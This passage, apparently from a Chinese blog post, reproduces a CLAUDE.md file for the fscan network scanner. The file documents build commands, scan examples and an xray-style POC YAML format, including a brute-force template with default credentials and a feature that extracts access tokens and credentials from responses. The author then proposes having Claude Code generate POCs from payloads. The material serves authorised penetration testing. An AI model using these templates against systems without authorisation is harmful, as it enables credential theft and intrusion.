&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# CLAUDE.md
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;详细架构文档见 [&lt;span class="nt"&gt;docs/architecture.md&lt;/span&gt;](&lt;span class="na"&gt;docs/architecture.md&lt;/span&gt;)。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 项目概述
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fscan 是一个用 Go 语言编写的内网综合扫描工具。支持主机存活探测、端口扫描、服务爆破、漏洞检测（包括 MS17-010、SMB Ghost）、Web 指纹识别，以及基于 YAML 格式的 Web 漏洞扫描（兼容 xray POC 格式）。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 构建
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开发调试版本（保留调试信息）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go build -o fscan main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生产发布版本（体积优化）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 跨平台编译&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;windows &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;amd64 go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan_windows_amd64.exe main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;linux &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;amd64 go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan_linux_amd64 main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;darwin &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;amd64 go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan_darwin_amd64 main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;darwin &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arm64 go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan_darwin_arm64 main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;**重要**：`WebScan/pocs/` 目录下的 POC YAML 文件通过 `//go:embed pocs` 在**编译期**打包进二进制。新增或修改 POC 后，必须重新编译才能生效。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 运行示例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go run main.go -h 192.168.1.1/24
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go run main.go -h 192.168.1.1/24 -m ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go run main.go -h 192.168.1.1/24 -p 22,80,443
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## POC YAML 使用指南
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POC 文件存放于 &lt;span class="sb"&gt;`WebScan/pocs/`&lt;/span&gt;，兼容 xray 格式。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**临时加载外部 POC（无需重编译）**&lt;/span&gt;：使用 &lt;span class="sb"&gt;`-pocpath &amp;lt;目录&amp;gt;`&lt;/span&gt; 从文件系统加载。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 基础格式
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;http&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/vulnerable/path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#39;marker&amp;#39;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 爆破字典（sets）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-bruteforce&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;sets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;user&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;pass&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;123456&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;#34;user&amp;#34;:&amp;#34;{{user}}&amp;#34;,&amp;#34;pass&amp;#34;:&amp;#34;{{pass}}&amp;#34;}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#39;success&amp;#39;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 新增功能：search 字段扩展
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;原版 xray 格式的 &lt;span class="sb"&gt;`search`&lt;/span&gt; 字段仅用于提取命名捕获组并注入到后续 rule 的变量替换中。本项目在此基础上扩展：**所有命名捕获组的值会在 POC 命中时一并打印到输出**，适用于提取 accessToken、凭据、版本号等敏感信息。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**语法**&lt;/span&gt;：在任意 rule 中添加 &lt;span class="sb"&gt;`search`&lt;/span&gt; 字段，使用 Python 风格的命名捕获组 &lt;span class="sb"&gt;`(?P&amp;lt;name&amp;gt;...)`&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-example-with-extraction&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;http&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/api/auth&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;admin&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;admin&amp;#34;}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;search&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#34;accessToken&amp;#34;:&amp;#34;(?P&amp;lt;accessToken&amp;gt;[^&amp;#34;]+)&amp;#34;.*?&amp;#34;username&amp;#34;:&amp;#34;(?P&amp;lt;username&amp;gt;[^&amp;#34;]+)&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#39;accessToken&amp;#39;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;命中时输出格式：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```text
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] PocScan http://10.0.0.1:8848 poc-yaml-example-with-extraction
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * accessToken: eyJhbGc...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * username: nacos
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**说明**&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`search`&lt;/span&gt; 匹配范围为 &lt;span class="sb"&gt;`响应头 + 响应体`&lt;/span&gt; 的拼接字符串
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 多个 rule 中的 &lt;span class="sb"&gt;`search`&lt;/span&gt; 均会被收集，后续 rule 提取的变量会覆盖同名变量
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 提取的变量同时注入 &lt;span class="sb"&gt;`variableMap`&lt;/span&gt;，可在后续 rule 中通过 &lt;span class="sb"&gt;`{{varName}}`&lt;/span&gt; 引用
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; key 按字母序排列输出，空 key（未命名组）自动忽略
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 实现位置：&lt;span class="sb"&gt;`WebScan/lib/check.go`&lt;/span&gt;，函数 &lt;span class="sb"&gt;`executePoc`&lt;/span&gt; 和 &lt;span class="sb"&gt;`CheckMultiPoc`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 新增功能：-hs 参数（POC 请求响应保存）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;当 POC 命中时，可使用 &lt;span class="sb"&gt;`-hs &amp;lt;目录&amp;gt;`&lt;/span&gt; 参数保存触发漏洞的 HTTP 请求和响应：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fscan -hs ./poc-output -u http://target.com -pocname weblogic
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;命中后会在指定目录生成 &lt;span class="sb"&gt;`{poc_name}_{url_hash}_{timestamp}.txt`&lt;/span&gt; 文件，包含完整的请求头/请求体和响应头/响应体。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 安全和授权上下文
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;此工具专为经授权的渗透测试和安全评估而设计，使用前须获得合法授权。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;p&gt;现在可以用这个 CLAUDE.md 让 Claude Code 写 Skills&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;编写一个 skill，用户提供 payload，根据规则生成对应的 fscan poc yaml&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
